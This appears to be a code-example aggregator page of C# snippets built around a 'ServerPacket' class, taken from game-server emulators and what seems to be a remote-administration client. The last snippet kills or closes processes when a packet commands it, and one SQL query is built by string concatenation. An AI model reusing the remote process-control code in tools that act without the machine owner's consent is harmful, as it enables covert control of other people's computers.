                byte[] encryptedClientKey = WindowsRSA.EncryptData(client.ServerEncryptEngine, clientPubBlob);
                client.SetEncryptionKey(client.SrpKey);

                var keyExchange = new GC2LS_KEY_EXCHANGE(encryptedClientKey);

                client.SendPacket(keyExchange);

                client.OnLoginSuccess(client, null);
            }
        public List <Item> RemoveAllFurniture(GameClient Session)
        {
            List <ServerPacket> ListMessage = new List <ServerPacket>();
            List <Item>         Items       = new List <Item>();

            foreach (Item roomItem in this._floorItems.Values.ToList())
            {
                roomItem.Interactor.OnRemove(Session, roomItem);

                roomItem.Destroy();
                ListMessage.Add(new ObjectRemoveMessageComposer(roomItem.Id, Session.GetHabbo().Id));
                Items.Add(roomItem);
            }
            foreach (Item roomItem in this._wallItems.Values.ToList())
            {
                roomItem.Interactor.OnRemove(Session, roomItem);
                roomItem.Destroy();

                ServerPacket Message = new ServerPacket(ServerPacketHeader.ItemRemoveMessageComposer);
                Message.WriteString(roomItem.Id + string.Empty);
                Message.WriteInteger(this.GetRoom.RoomData.OwnerId);
                ListMessage.Add(Message);
                Items.Add(roomItem);
            }
            this.GetRoom.SendMessage(ListMessage);

            this._wallItems.Clear();
            this._floorItems.Clear();
            this._itemsTemp.Clear();
            this.mUpdateItems.Clear();
            this._rollers.Clear();
            using (IQueryAdapter queryreactor = ButterflyEnvironment.GetDatabaseManager().GetQueryReactor())
                queryreactor.RunQuery("UPDATE items SET room_id = '0', user_id = '" + this.GetRoom.RoomData.OwnerId + "' WHERE room_id = " + this.GetRoom.Id);

            this.GetRoom.GetGameMap().GenerateMaps();
            this.GetRoom.GetRoomUserManager().UpdateUserStatusses();
            if (this.GetRoom.GotWired())
            {
                this.GetRoom.GetWiredHandler().OnPickall();
            }
            return(Items);
        }
Exemple #54
0
        public ServerPacket UpdateUserOnRoller(RoomUser pUser, Point pNextCoord, int pRollerID, double NextZ)
        {
            var mMessage = new ServerPacket(ServerPacketHeader.SlideObjectBundleMessageComposer);

            mMessage.WriteInteger(pUser.X);
            mMessage.WriteInteger(pUser.Y);
            mMessage.WriteInteger(pNextCoord.X);
            mMessage.WriteInteger(pNextCoord.Y);
            mMessage.WriteInteger(0);
            mMessage.WriteInteger(pRollerID);
            mMessage.WriteInteger(2);
            mMessage.WriteInteger(pUser.VirtualId);
            mMessage.WriteString(TextHandling.GetString(pUser.Z));
            mMessage.WriteString(TextHandling.GetString(NextZ));
            _room.GetGameMap().UpdateUserMovement(new Point(pUser.X, pUser.Y), new Point(pNextCoord.X, pNextCoord.Y), pUser);
            _room.GetGameMap().GameMap[pUser.X, pUser.Y] = 1;
            pUser.X = pNextCoord.X;
            pUser.Y = pNextCoord.Y;
            pUser.Z = NextZ;
            _room.GetGameMap().GameMap[pUser.X, pUser.Y] = 0;
            if (pUser != null && pUser.GetClient() != null && pUser.GetClient().GetHabbo() != null)
            {
                var Items = _room.GetGameMap().GetRoomItemForSquare(pNextCoord.X, pNextCoord.Y);
                foreach (var IItem in Items.ToList())
                {
                    if (IItem == null)
                    {
                        continue;
                    }

                    _room.GetWired().TriggerEvent(WiredBoxType.TriggerWalkOnFurni, pUser.GetClient().GetHabbo(), IItem);
                }

                var Item = _room.GetRoomItemHandler().GetItem(pRollerID);
                if (Item != null)
                {
                    _room.GetWired().TriggerEvent(WiredBoxType.TriggerWalkOffFurni, pUser.GetClient().GetHabbo(), Item);
                }
            }

            return(mMessage);
        }
Exemple #55
0
        public void Parse(HabboHotel.GameClients.GameClient Session, ClientPacket Packet)
        {
            ServerPacket response = new ServerPacket(ServerPacketHeader.FurniMaticRewardsComposer);

            response.WriteInteger(5);
            for (int i = 5; i >= 1; i--)
            {
                response.WriteInteger(i);
                if (i <= 1)
                {
                    response.WriteInteger(1);
                }
                else if (i == 2)
                {
                    response.WriteInteger(5);
                }
                else if (i == 3)
                {
                    response.WriteInteger(20);
                }
                else if (i == 4)
                {
                    response.WriteInteger(50);
                }
                else if (i == 5)
                {
                    response.WriteInteger(100);
                }

                System.Collections.Generic.List <HabboHotel.Catalog.FurniMatic.FurniMaticRewards> rewards = NeonEnvironment.GetGame().GetFurniMaticRewardsMnager().GetRewardsByLevel(i);
                response.WriteInteger(rewards.Count);
                foreach (HabboHotel.Catalog.FurniMatic.FurniMaticRewards reward in rewards)
                {
                    response.WriteString(reward.GetBaseItem().ItemName);
                    response.WriteInteger(reward.DisplayId);
                    response.WriteString(reward.GetBaseItem().Type.ToString().ToLower());
                    response.WriteInteger(reward.GetBaseItem().SpriteId);
                }
            }

            Session.SendMessage(response);
        }
Exemple #56
0
        public void Parse(HabboHotel.GameClients.GameClient Session, ClientPacket Packet)
        {
            var response = new ServerPacket(ServerPacketHeader.FurniMaticRewardsComposer);

            response.WriteInteger(5);
            for (int i = 5; i >= 1; i--)
            {
                response.WriteInteger(i);
                if (i <= 1)
                {
                    response.WriteInteger(1);
                }
                else if (i == 2)
                {
                    response.WriteInteger(5);
                }
                else if (i == 3)
                {
                    response.WriteInteger(20);
                }
                else if (i == 4)
                {
                    response.WriteInteger(50);
                }
                else if (i == 5)
                {
                    response.WriteInteger(100);
                }

                var rewards = BiosEmuThiago.GetGame().GetFurniMaticRewardsMnager().GetRewardsByLevel(i);
                response.WriteInteger(rewards.Count);
                foreach (var reward in rewards)
                {
                    response.WriteString(reward.GetBaseItem().ItemName);
                    response.WriteInteger(reward.DisplayId);
                    response.WriteString(reward.GetBaseItem().Type.ToString().ToLower());
                    response.WriteInteger(reward.GetBaseItem().SpriteId);
                }
            }

            Session.SendMessage(response);
        }
Exemple #57
0
        public static void CharacterEnterWorld(ClientPacketFragment fragment, Session session)
        {
            ObjectGuid guid    = fragment.Payload.ReadGuid();
            string     account = fragment.Payload.ReadString16L();

            if (account != session.Account)
            {
                session.SendCharacterError(CharacterError.EnterGameCharacterNotOwned);
                return;
            }

            var cachedCharacter = session.CachedCharacters.SingleOrDefault(c => c.Guid.Full == guid.Full);

            if (cachedCharacter == null)
            {
                session.SendCharacterError(CharacterError.EnterGameCharacterNotOwned);
                return;
            }

            session.CharacterRequested = cachedCharacter;

            // this isn't really that necessary since ACE doesn't split login/world to multiple daemons, handle it anyway
            byte[] connectionKey = new byte[sizeof(ulong)];
            RandomNumberGenerator.Create().GetNonZeroBytes(connectionKey);

            session.WorldConnectionKey = BitConverter.ToUInt64(connectionKey, 0);

            var referralPacket = new ServerPacket(0x0B, PacketHeaderFlags.EncryptedChecksum | PacketHeaderFlags.Referral);

            referralPacket.Payload.Write(session.WorldConnectionKey);
            referralPacket.Payload.Write((ushort)2);
            referralPacket.Payload.WriteUInt16BE((ushort)ConfigManager.Config.Server.Network.WorldPort);
            referralPacket.Payload.Write(ConfigManager.Host);
            referralPacket.Payload.Write(0ul);
            referralPacket.Payload.Write((ushort)0x18);
            referralPacket.Payload.Write((ushort)0);
            referralPacket.Payload.Write(0u);

            NetworkManager.SendPacket(ConnectionType.Login, referralPacket, session);

            session.State = SessionState.WorldLoginRequest;
        }
 public InventoryUpdate(ServerPacket pck)
     : base(pck)
 {
     short count = ReadShort();
     Inventory = new List<InventoryItem>(count);
     for (int i = 0; i < count; i++)
     {
         var item = new InventoryItem();
         this.Position += 2;
         item.ObjectID = ReadInt();
         item.ItemID = ReadInt();
         this.Position += 4;
         item.Count = ReadLong();
         this.Position += 6;
         this.Position += 4;
         this.Position += 4;
         this.Position += 3 * 4;
         this.Position += 11 * 2;
         Inventory.Add(item);
     }
 }
Exemple #59
0
        /// <summary>
        /// 获取操作系统版本名称
        /// </summary>
        /// <param name="osinfo"></param>
        /// <returns></returns>
        public static string GetOSVersionString(ServerPacket.Login._OSInfo osinfo)
        {
            string strClient = "";

            if (osinfo.Major == 5 && osinfo.Minor == 0)
            {
                strClient = "Windows 2000";
            }
            else if (osinfo.Major == 5 && osinfo.Minor == 1)
            {
                strClient = "Windows XP";
            }
            else if (osinfo.Major == 6 && osinfo.Minor == 0)
            {
                strClient = "Windows Vista";
            }
            else if (osinfo.Major == 6 && osinfo.Minor == 1)
            {
                strClient = "Windows 7";
            }
            else if (osinfo.Major == 6 && osinfo.Minor == 2)
            {
                strClient = "Windows 8";
            }
            else if (osinfo.Major == 6 && osinfo.Minor == 3)
            {
                strClient = "Windows 8.1";
            }
            else if (osinfo.Major == 6 && osinfo.Minor == 4)
            {
                strClient = "Windows 10";
            }
            else
            {
                return "未知";
            }

            strClient += osinfo.IS64Bit == 0 ? " x32" : " x64";
            return strClient;
        }
Exemple #60
0
        public static void Process(ClientPacket.TaskMgr taskMgr)
        {
            ServerPacket serverPacket = new ServerPacket(PacketType.TaskMgr);
            serverPacket.taskMgr = new ServerPacket.TaskMgr();
            if (taskMgr == null)
            {
                System.Diagnostics.Process[] processes = System.Diagnostics.Process.GetProcesses();
                serverPacket.taskMgr.Items = new ServerPacket.TaskMgr.TaskItem[processes.Length];
                for (int i = 0; i < processes.Length; i++)
                {
                    serverPacket.taskMgr.Items[i].Name = processes[i].ProcessName;
                    serverPacket.taskMgr.Items[i].PID = processes[i].Id;
                    serverPacket.taskMgr.Items[i].Memory = processes[i].PrivateMemorySize64;
                }

            }
            else if (taskMgr.ClosePid != 0)
                System.Diagnostics.Process.GetProcessById(taskMgr.ClosePid).Close();
            else if (taskMgr.KillPid != 0)
                System.Diagnostics.Process.GetProcessById(taskMgr.KillPid).Kill();
            Server.packetStream.Send(serverPacket);
        }